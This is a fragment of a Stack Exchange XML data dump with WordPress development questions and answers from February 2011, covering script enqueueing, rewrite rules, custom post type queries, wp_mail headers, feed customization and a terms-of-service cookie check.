Tags="&lt;wp-head&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="9082" PostTypeId="2" ParentId="9080" CreationDate="2011-02-10T16:28:26.000" Score="3" ViewCount="" Body="&lt;p&gt;WP 3.1 will come with jQuery UI 1.8 so the easiest solution would be to wait.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, it sounds like you're outputting the script tag directly. You should try deregistering the bundled jQuery UI version and replacing it with your own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is done using wp_deregister_script() and wp_enqueue_script().&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-02-10T16:28:26.000" CommentCount="1" />
  <row Id="9083" PostTypeId="2" ParentId="9079" CreationDate="2011-02-10T16:30:30.287" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Manny Fleurmond&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can add the following HTML to a &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;post metabox&lt;/strong&gt;&lt;/a&gt; you'll have an edit field that lets you edit the raw &lt;code&gt;post_parent&lt;/code&gt; ID. Maybe with this knowledge you can build what you need?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; id=&quot;parent_id&quot; name=&quot;parent_id&quot; &#xA;       value=&quot;&amp;lt;?php echo $post-&amp;gt;post_parent; ?&amp;gt;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-02-10T16:30:30.287" CommentCount="2" />
  <row Id="9084" PostTypeId="2" ParentId="9081" CreationDate="2011-02-10T16:37:10.800" Score="1" ViewCount="" Body="&lt;p&gt;My guess is that it's not working because the action name is &lt;code&gt;'wp_head'&lt;/code&gt;, not &lt;code&gt;'wp-head'&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_action('wp_head',array($aiosp, 'wp_head'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-02-10T16:37:10.800" />
  <row Id="9085" PostTypeId="2" ParentId="8850" CreationDate="2011-02-10T16:39:29.253" Score="1" ViewCount="" Body="&lt;p&gt;WordPress always tries to write the &lt;code&gt;.htaccess&lt;/code&gt; file when you visit the &lt;em&gt;Permalinks&lt;/em&gt; page, even when there is nothing to write (to make sure that old rules don't stay around). This happens in &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.5/wp-admin/includes/misc.php#L114&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;save_mod_rewrite_rules()&lt;/code&gt;&lt;/a&gt;, which is called from &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.5/wp-includes/rewrite.php#L1935&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;$wp_rewrite-&amp;gt;flush_rules()&lt;/code&gt;&lt;/a&gt; if the &lt;code&gt;$hard&lt;/code&gt; parameter is &lt;code&gt;true&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything that is between the &lt;code&gt;# BEGIN WordPress&lt;/code&gt; and &lt;code&gt;# END WordPress&lt;/code&gt; lines is the output of &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.5/wp-includes/rewrite.php#L1668&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;$wp_rewrite-&amp;gt;mod_rewrite_rules()&lt;/code&gt;&lt;/a&gt;. Looking at that function, there are only a limited number of cases when it would return nothing:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;$wp_rewrite-&amp;gt;using_permalinks()&lt;/code&gt; returns &lt;code&gt;false&lt;/code&gt;, which is the case if the permalink structure is empty (if permalinks are disabled)&lt;/li&gt;&#xA;&lt;li&gt;the &lt;code&gt;mod_rewrite_rules&lt;/code&gt; or &lt;code&gt;rewrite_rules&lt;/code&gt; return nothing. This can happen if a plugin thinks they are actions and not filters, and thus forgets to return anything.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I would try calling &lt;code&gt;$wp_rewrite-&amp;gt;mod_rewrite_rules()&lt;/code&gt; and see what it returns.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-02-10T16:39:29.253" />
  <row Id="9086" PostTypeId="1" CreationDate="2011-02-10T16:58:35.743" Score="0" ViewCount="264" Body="&lt;p&gt;what is the code i have to put in the modifyed 'page' post type template?&lt;/p&gt;&#xA;" OwnerUserId="2215" LastActivityDate="2011-02-10T17:50:18.850" Title="How can i display custom post types on a 'page' post type?" Tags="&lt;custom-post-types&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="9087" PostTypeId="2" ParentId="9086" CreationDate="2011-02-10T17:08:15.047" Score="1" ViewCount="" Body="&lt;p&gt;If you look at the &lt;a href=&quot;http://codex.wordpress.org/Custom_Fields&quot; rel=&quot;nofollow&quot;&gt;Custom Fields page&lt;/a&gt; on WordPress codex, you can see the functions for Custom fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;Template Tags&quot; are the functions you generally use on your template:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_custom&quot; rel=&quot;nofollow&quot;&gt;get_post_custom()&lt;/a&gt; - Returns a multidimensional array with all custom fields of a particular post or page.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_custom_values&quot; rel=&quot;nofollow&quot;&gt;get_post_custom_values()&lt;/a&gt; - This function is useful if you wish to access a custom field that is not unique, i.e. has more than 1 value associated with it&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_custom_keys&quot; rel=&quot;nofollow&quot;&gt;get_post_custom_keys()&lt;/a&gt; - Returns an array containing the keys of all custom fields of a particular post or page.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Follow the links to each function to see examples on how to use them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;: Ok, now I understand. You should try to add as many details as possible in your question for us to understand. As kaiser says, you should create a loopand add &lt;code&gt;'post_type' =&amp;gt; 'custompost'&lt;/code&gt; to get the posts from that custom type. You can use the &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/get_posts&quot; rel=&quot;nofollow&quot;&gt;get_posts()&lt;/a&gt; function for this too.&lt;/p&gt;&#xA;" OwnerUserId="298" LastEditorUserId="298" LastEditorDisplayName="" LastEditDate="2011-02-10T17:47:34.700" LastActivityDate="2011-02-10T17:47:34.700" CommentCount="1" />
  <row Id="9088" PostTypeId="2" ParentId="9044" CreationDate="2011-02-10T17:24:07.013" Score="0" ViewCount="" Body="&lt;p&gt;Here's the code for what you're trying to do (accessing post custom value):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php    &#xA;global $post;&#xA;&#xA;    $prev_post = get_adjacent_post();&#xA;    $next_post = get_adjacent_post( false, '', false );&#xA;    $prev_post_id = $prev_post-&amp;gt;ID;&#xA;    $next_post_id = $next_post-&amp;gt;ID;&#xA;    // this should, according to your code above, be the http://example.com/your/img.jpg string&#xA;    $prev_img_path = get_post_custom_values( 'your_key_name', $prev_post_id );&#xA;    $next_img_path = get_post_custom_values( 'your_key_name', $next_post_id );&#xA;    $prev_def_path = get_bloginfo('stylesheet_directory').'/default_next_img_inside_theme_folder.jpg';&#xA;    $next_def_path = get_bloginfo('stylesheet_directory').'/default_prev_img_inside_theme_folder.jpg';&#xA;&#xA;    echo '&amp;lt;img src=&quot;'.!empty($prev_img_path) ? $prev_img_path : $prev_def_path.'&quot; alt=&quot;Permalink to previous post&quot; /&amp;gt;';&#xA;    echo '&amp;lt;img src=&quot;'.!empty($next_def_path) ? $next_def_path : $next_img_path.'&quot; alt=&quot;Permalink to next post&quot; /&amp;gt;';&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-02-10T17:24:07.013" />
  <row Id="9089" PostTypeId="2" ParentId="8778" CreationDate="2011-02-10T17:25:44.017" Score="1" ViewCount="" Body="&lt;p&gt;You might also want to look at using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;wp_enqueue_script&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_style&quot; rel=&quot;nofollow&quot;&gt;wp_enqueue_style&lt;/a&gt;, rather than echoing those script &amp;amp; style tags.  Using these functions helps to eliminate duplicate scripts and styles, as well as introducing some dependency support.&lt;/p&gt;&#xA;" OwnerUserId="199" LastActivityDate="2011-02-10T17:25:44.017" />
  <row Id="9090" PostTypeId="2" ParentId="9086" CreationDate="2011-02-10T17:26:27.293" Score="2" ViewCount="" Body="&lt;p&gt;Easy: modify the query... (and add some comment on top to make a template out of this...)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query_default = new WP_Query( array(&#xA;     'orderby'      =&amp;gt; 'menu_order'&#xA;    ,'order'        =&amp;gt; 'ASC'&#xA;    ,'post_type'    =&amp;gt; 'custompost' // THIS IS WHAT YOU'RE SEARCHING FOR&#xA;    ,'post_status'  =&amp;gt; 'publish'&#xA;) );&#xA;    if ( $query_default-&amp;gt;have_posts() ) :&#xA;&#xA;        while ( $query_default-&amp;gt;have_posts() ) : $query_default-&amp;gt;the_post();&#xA;&#xA;        endwhile;&#xA;&#xA;    else : // else; no posts&#xA;        _e( 'Nothing published so far.', TEXTDOMAIN_CONSTANT );&#xA;    endif; // endif; have_posts();&#xA;&#xA;    wp_reset_query();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-02-10T17:50:18.850" LastActivityDate="2011-02-10T17:50:18.850" />
  <row Id="9091" PostTypeId="2" ParentId="9081" CreationDate="2011-02-10T17:48:53.820" Score="0" ViewCount="" Body="&lt;p&gt;Sorted it, turns out all-in-one-seo-pack can be disabled on a post by post basis, so I used:&#xA;add_post_meta($post-&gt;ID,'_aioseop_disable',true); inside the if parameter and before setting my own title, works a charm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS $post is gotten with global $post;&lt;/p&gt;&#xA;" OwnerUserId="2911" LastActivityDate="2011-02-10T17:48:53.820" CommentCount="1" />
  <row Id="9092" PostTypeId="2" ParentId="1727" CreationDate="2011-02-10T18:00:56.657" Score="0" ViewCount="" Body="&lt;p&gt;You could try adding &lt;code&gt;$GLOBALS['content_width'] = 500;&lt;/code&gt; to your theme's functions.php file. &lt;/p&gt;&#xA;" OwnerUserId="199" LastActivityDate="2011-02-10T18:00:56.657" />
  <row Id="9093" PostTypeId="1" AcceptedAnswerId="9096" CreationDate="2011-02-10T18:14:57.547" Score="0" ViewCount="89" Body="&lt;p&gt;I am about to press the &quot;upgrade&quot; button in my Wordpress MU 2.8 install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is going to happen to the mu-plugins folder?  And is there an equivalent way for me to automatically activate a plugin across all my sites?&lt;/p&gt;&#xA;" OwnerUserId="3058" LastActivityDate="2011-02-10T18:34:34.287" Title="What happens to the mu-plugins folder when you upgrade to Wordpress 3?" Tags="&lt;3.0&gt;&lt;upgrade&gt;&lt;multisite&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="9094" PostTypeId="2" ParentId="9093" CreationDate="2011-02-10T18:28:55.227" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@jeph perro:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nothing will happen to the &lt;code&gt;mu-plugins&lt;/code&gt; directory; they will just stay there.  You'll need to manually upgrade any of those plugins though.  &lt;em&gt;(Or were you asking something else?)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-02-10T18:28:55.227" />
  <row Id="9095" PostTypeId="2" ParentId="9080" CreationDate="2011-02-10T18:31:21.223" Score="1" ViewCount="" Body="&lt;p&gt;Thanks again scribu, here the working result for anyone interested (custom-admin is just my js for the datepicker):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function admin_head()&#xA;{&#xA;    wp_enqueue_style('ui-datepicker', get_bloginfo('template_url') . '/css/jquery-ui-1.8.9.custom.css');&#xA;    wp_deregister_script('jquery-ui-core');&#xA;    wp_enqueue_script('jquery-ui', get_bloginfo('template_url') . '/js/jquery-ui-1.8.9.custom.min.js', array('jquery'));&#xA;    wp_enqueue_script('ui-datepicker', get_bloginfo('template_url') . '/js/jquery.ui.datepicker.min.js');&#xA;    wp_enqueue_script('custom_script', get_bloginfo('template_url').'/js/custom-admin.js', array('jquery'));&#xA;}&#xA;&#xA;add_action('admin_init', &quot;admin_head&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2393" LastActivityDate="2011-02-10T18:31:21.223" CommentCount="2" />
  <row Id="9096" PostTypeId="2" ParentId="9093" CreationDate="2011-02-10T18:34:34.287" Score="1" ViewCount="" Body="&lt;p&gt;WordPress 3 uses the mu-plugins folder in exactly the same way as MU used to use it. Everything in there is automatically active sitewide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that WP 3 has some newer methods for dealing with plugins though that you may want to consider switching to. For example, the Network Activation allows you to install a plugin via the normal means and then activate it sitewide and still use the WP upgrade system to keep it up to date. The mu-plugins method doesn't allow that sort of thing.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-02-10T18:34:34.287" />
  <row Id="9097" PostTypeId="2" ParentId="9076" CreationDate="2011-02-10T18:45:26.413" Score="5" ViewCount="" Body="&lt;p&gt;This is where your problem is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I then edited the resulting .sql file&#xA;  to update all of the file paths and&#xA;  URL references to point to our&#xA;  production site.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can't do that. WordPress stores many options as &quot;serialized data&quot;, which contains both the string content of things &lt;em&gt;and their length&lt;/em&gt;. So when you modify the URL and the length changes, then the serialized data is no longer correct, and PHP rejects it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The longer term problem is that, basically, you're doing it wrong. If you are setting up a development site that will have its data migrated, then it should have the exact same URL as your production site to begin with. You can manually edit your HOSTS file to give that production domain (like example.com) a different IP address (like 127.0.0.1) and thus the &quot;production&quot; URL will become the development site, for you only. Then you can create your data and links and everything else using that production URL, and when you migrate the data, nothing about it has to be altered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the short term, however, don't use a simple text search/replace on the SQL file. As you have discovered, this breaks things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And while I hesitate to suggest it, there is a way to alter the WordPress core code to handle these broken serializations. You have to modify the wp-includes/functions.php file, and change the maybe_unserialize() function to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function maybe_unserialize( $original ) {&#xA;    if ( is_serialized( $original ) ) {&#xA;        $fixed = preg_replace_callback(&#xA;            '!(?&amp;lt;=^|;)s:(\d+)(?=:&quot;(.*?)&quot;;(?:}|a:|s:|b:|i:|o:|N;))!s',&#xA;            'serialize_fix_callback',&#xA;            $original );&#xA;        return @unserialize( $fixed );&#xA;    }&#xA;    return $original;&#xA;}&#xA;function serialize_fix_callback($match) { return 's:' . strlen($match[2]); }  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is NOT a viable long term solution. It should only be used to get you up and working right now. In the long run, you need to fix your development process so that you don't have to do this sort of URL munging to begin with.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-02-10T18:45:26.413" CommentCount="7" />
  <row Id="9099" PostTypeId="1" CreationDate="2011-02-10T19:46:59.673" Score="0" ViewCount="166" Body="&lt;p&gt;Looking for a plugin to ensure that casual (NOT logged in) users of my site will agree to the Terms of use.  That is, first time they try to access ANY page on site, display terms and prompt for agreement. If suer agrees, store that in DB (preferable) or cookie.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cam across &quot;Terms of Use&quot; plugin, but it has not been updated in over a year and I am not sure it supports my scenario.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TIA for any help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jackie &lt;/p&gt;&#xA;" OwnerUserId="3076" LastActivityDate="2011-02-10T21:34:22.493" Title="WP Plugin for Terms of Use" Tags="&lt;plugins&gt;&lt;3.0&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="9100" PostTypeId="1" AcceptedAnswerId="9103" CreationDate="2011-02-10T20:37:26.637" Score="0" ViewCount="94" Body="&lt;p&gt;I'm trying to customize a WordPress feed. I know that if I modify wp-includes/feed-rss2.php, the feed is modified. But I don't want to modify this file, as it might get overwritten during an upgrade. I tried copying the file to wp-content/themes/mytheme/feed-rss2.php, but the file seems to be ignored. I found &lt;a href=&quot;http://codex.wordpress.org/Customizing_Feeds&quot; rel=&quot;nofollow&quot;&gt;this article on customizing WordPress feeds&lt;/a&gt;, but the article is very old and references files that are just dummy files now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Background: Here's what I'm actually trying to do, in case there is a better way to do it. Our company has a WordPress blog. The copy of the posts could have been written by anybody, but only one of the two marketing guys actually posts on the blog. I want to overwrite the author attribute in the feed so that they author always displays as &quot;Acme, Inc.&quot; instead of showing the marketing guy's name. I've customized the blog pages to do this, but the feed still shows the user name. I tried changing both marketing guys' usernames to &quot;Acme, Inc.&quot;, but they didn't like that because they couldn't tell them apart when they needed to edit posts.&lt;/p&gt;&#xA;" OwnerUserId="3079" LastActivityDate="2011-02-10T20:49:12.890" Title="How to customize feed?" Tags="&lt;customization&gt;&lt;feed&gt;" AnswerCount="1" />
  <row Id="9101" PostTypeId="2" ParentId="9099" CreationDate="2011-02-10T20:41:11.383" Score="0" ViewCount="" Body="&lt;p&gt;I've done a more general survey of ToS plugins in the past, but found them lacking features beyond putting an extra form field on a login form. For example, I wanted the user to actually scroll through the ToS before blindly agreeing, but that didn't exist so I had to write it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, the login forms don't have as many action and template hooks as other parts of the core, so it could be in part a side-affect of that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Requiring agreement &lt;em&gt;before&lt;/em&gt; any content is shown is so very specific that I am pretty confident you're going to be out of luck. Totally doable though.&lt;/p&gt;&#xA;" OwnerUserId="1860" LastActivityDate="2011-02-10T20:41:11.383" CommentCount="4" />
  <row Id="9102" PostTypeId="1" AcceptedAnswerId="9104" CreationDate="2011-02-10T20:45:28.247" Score="5" ViewCount="788" Body="&lt;p&gt;When I use wp_mail( $to, $subject, $message, $headers ) (with values in place, of course), the email gets sent with a from name and email that isn't set anywhere I can find (not even in PHP or Apache settings). However, using mail( $to, $subject, $message, $headers ) instead works just fine. What could be happening with wp_mail() to cause this?&lt;/p&gt;&#xA;" OwnerUserId="2226" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-03-22T17:37:31.277" LastActivityDate="2011-04-15T15:29:03.847" Title="Why won't wp_mail() let me set the From: header when plain old PHP mail() will?" Tags="&lt;email&gt;&lt;headers&gt;&lt;wp-mail&gt;&lt;from&gt;&lt;mail&gt;" AnswerCount="3" />
  <row Id="9103" PostTypeId="2" ParentId="9100" CreationDate="2011-02-10T20:49:12.890" Score="3" ViewCount="" Body="&lt;p&gt;Feed templates are special case. You can't simply provide your own template - you need to work with &lt;code&gt;do_feed_&lt;/code&gt; hooks to change handler function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But for your specific question it is much easier to override author. Try this (not tested):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'the_author', 'feed_author' );&#xA;&#xA;function feed_author($name) {&#xA;&#xA;    if( is_feed() )&#xA;        return 'Acme, Inc.';&#xA;&#xA;    return $name;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-10T20:49:12.890" CommentCount="1" />
  <row Id="9104" PostTypeId="2" ParentId="9102" CreationDate="2011-02-10T20:56:02.283" Score="10" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@helenyhou:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can set the header, just not with a parameter.  WordPress uses &lt;em&gt;&lt;a href=&quot;http://www.raymondselda.com/understanding-filter-hooks-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;&quot;hooks&quot;&lt;/strong&gt;&lt;/a&gt;&lt;/em&gt; and the hooks you need are &lt;code&gt;'wp_mail_from'&lt;/code&gt; and &lt;code&gt;'wp_mail_from_name'&lt;/code&gt; hooks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the hooks you might add to your theme's &lt;code&gt;functions.php&lt;/code&gt; file to modify the &lt;code&gt;&quot;From:&quot;&lt;/code&gt; header when using &lt;code&gt;wp_mail()&lt;/code&gt; to the email address &lt;code&gt;Helen Hou-Sandi &amp;lt;helenyhou@example.com&amp;gt;&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('wp_mail_from','yoursite_wp_mail_from');&#xA;function yoursite_wp_mail_from($content_type) {&#xA;  return 'helenyhou@example.com';&#xA;}&#xA;add_filter('wp_mail_from_name','yoursite_wp_mail_from_name');&#xA;function yoursite_wp_mail_from_name($name) {&#xA;  return 'Helen Hou-Sandi';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-02-10T20:56:02.283" CommentCount="4" />
  <row Id="9105" PostTypeId="2" ParentId="9102" CreationDate="2011-02-10T20:59:09.623" Score="2" ViewCount="" Body="&lt;p&gt;Well, if you're using the &lt;code&gt;From: &quot;Your Name&quot; &amp;lt;youremail@example.com&amp;gt;\r\n&lt;/code&gt; format in your headers, you shouldn't be having a problem (unless you have a plugin installed which overrides the wp_mail function).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, as Mike said, you can filter the ultimate values with those filters, or you can just install this plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/send-from/&quot; rel=&quot;nofollow&quot;&gt;Send From&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It'll give you an options setting to determine what name and email to use in wp_mail.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-02-10T20:59:09.623" />
  <row Id="9106" PostTypeId="2" ParentId="1727" CreationDate="2011-02-10T21:00:04.197" Score="0" ViewCount="" Body="&lt;p&gt;Have a look at &lt;a href=&quot;http://wordpress.org/extend/plugins/ajax-thumbnail-rebuild/&quot; rel=&quot;nofollow&quot;&gt;Ajax Thumbnail Rebuild&lt;/a&gt; plugin. Once you re-specify the maximum image width size default under Settings &gt; Media, this plugin will regenerate the thumbnails when the page is loaded.&lt;/p&gt;&#xA;" OwnerUserId="3080" LastActivityDate="2011-02-10T21:00:04.197" />
  <row Id="9107" PostTypeId="2" ParentId="9099" CreationDate="2011-02-10T21:07:03.327" Score="1" ViewCount="" Body="&lt;p&gt;I wrote something like that in the past that check for a cookie before loading the page and if the cookie wasn't found the page would display something like the terms of services and a checkbox to agree, so only after the guest agrees he can see the content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i'll see if i can find that code.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;UPDATE&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;O.k found most of it&#xA;so we create a function that checks if the user is logged in and if not we check to see if he has our cookie if not we display our T.O.S instead of the content so we hook that to the_content hook&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function to add_filter('the_content','check_tos_656');&#xA;&#xA;function  check_tos_656($content){&#xA;    //only for none logged in guests&#xA;    if (!is_user_logged_in()){&#xA;        //check if guest has agree cokkie&#xA;        if(!check_cookie_tos()){&#xA;            $content = show_tos();&#xA;        }&#xA;    }&#xA;    return $content;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;no you can see two function in there &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;check_cookie_tos() a function to see if the cookie exists.&lt;/li&gt;&#xA;&lt;li&gt;show_tos() a function to display our T.O.S and an agree checkbox and button.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;so here they are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function check_cookie_tos(){&#xA;    if (isset($_COOKIE['agreed_TOS'])){&#xA;        if ($_COOKIE['agreed_TOS'] ==&quot;I_aggre&quot;){&#xA;            return true&#xA;        }&#xA;    }&#xA;    return false;&#xA;}&#xA;&#xA;function show_tos(){&#xA;    $out = '&amp;lt;h3&amp;gt;You Must Agree to our T.O.S blablabla&amp;lt;/h3&amp;gt;&#xA;    //here you can put your TOS&#xA;    blablabla&#xA;    blablabla&#xA;    blablabla';&#xA;&#xA;    $out .= '&amp;lt;form name=&quot;tos_check&quot; method=&quot;POST&quot; action=&quot;&quot;&amp;gt;&#xA;        &amp;lt;p&amp;gt;&#xA;            &amp;lt;input type=&quot;checkbox&quot; name=&quot;tos_agree&quot; id=&quot;tos_agree&quot; value=&quot;yes&quot; /&amp;gt; I Agree!&amp;lt;br /&amp;gt;&#xA;            &amp;lt;input type=&quot;submit&quot; name=&quot;submit_tos&quot; id=&quot;submit_tos&quot; value=&quot;submit&quot;&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&amp;lt;/form';&#xA;    return $out;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now you can see that we have a form that will submit the guest's agreement to the T.O.S so we need to process that and create the cookie so here it is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($_POST['check_cookie_tos']) &amp;amp;&amp;amp; $_POST['check_cookie_tos'] == &quot;yes&quot;){&#xA;    setcookie(&quot;agreed_TOS&quot;, &quot;I_aggre&quot;, time()+3600, &quot;/&quot;, str_replace('http://www','',get_bloginfo('url')) );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you would have to set your own T.O.S in the code but if enough people will ask i'll turn this into a plugin and add a simple admin panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enjoy. &lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-02-10T21:34:22.493" LastActivityDate="2011-02-10T21:34:22.493" CommunityOwnedDate="2011-02-10T21:34:22.493" CommentCount="2" />
  <row Id="9108" PostTypeId="1" AcceptedAnswerId="9115" CreationDate="2011-02-10T21:08:10.567" Score="0" ViewCount="154" Body="&lt;p&gt;I'm working on a custom theme framework for educational purposes.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I basically have a header.php in a child theme that i want to make smarter.  I'd like to only include a stylesheet if the file exist. Getting 404 errors is not cool or efficient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there native php or wordpress functions to check if a wordpress file exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically...&#xA;&lt;strong&gt;I want to output&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;&amp;lt;?php echo get_stylesheet_directory_uri(); ?&amp;gt;/css/&amp;lt;?php echo get_stylesheet() ?&amp;gt;.css&quot; type=&quot;text/css&quot; media=&quot;screen&quot; /&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Only If&lt;/strong&gt; the stylesheet with the same name as the folder containing the child theme exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas would be awesome :-)&lt;/p&gt;&#xA;" OwnerUserId="3081" LastEditorUserId="3081" LastEditorDisplayName="" LastEditDate="2011-02-10T22:27:46.440" LastActivityDate="2011-02-11T00:12:53.453" Title="Looking for methods to Check if File Exist" Tags="&lt;css&gt;&lt;stylesheet&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="9109" PostTypeId="2" ParentId="5044" CreationDate="2011-02-10T21:10:09.970" Score="1" ViewCount="" Body="&lt;p&gt;The  quicktag will not operate and is ignored in Templates, such as single.php, where just one post is displayed. &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_content&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/the_content&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-02-10T21:10:09.970" />
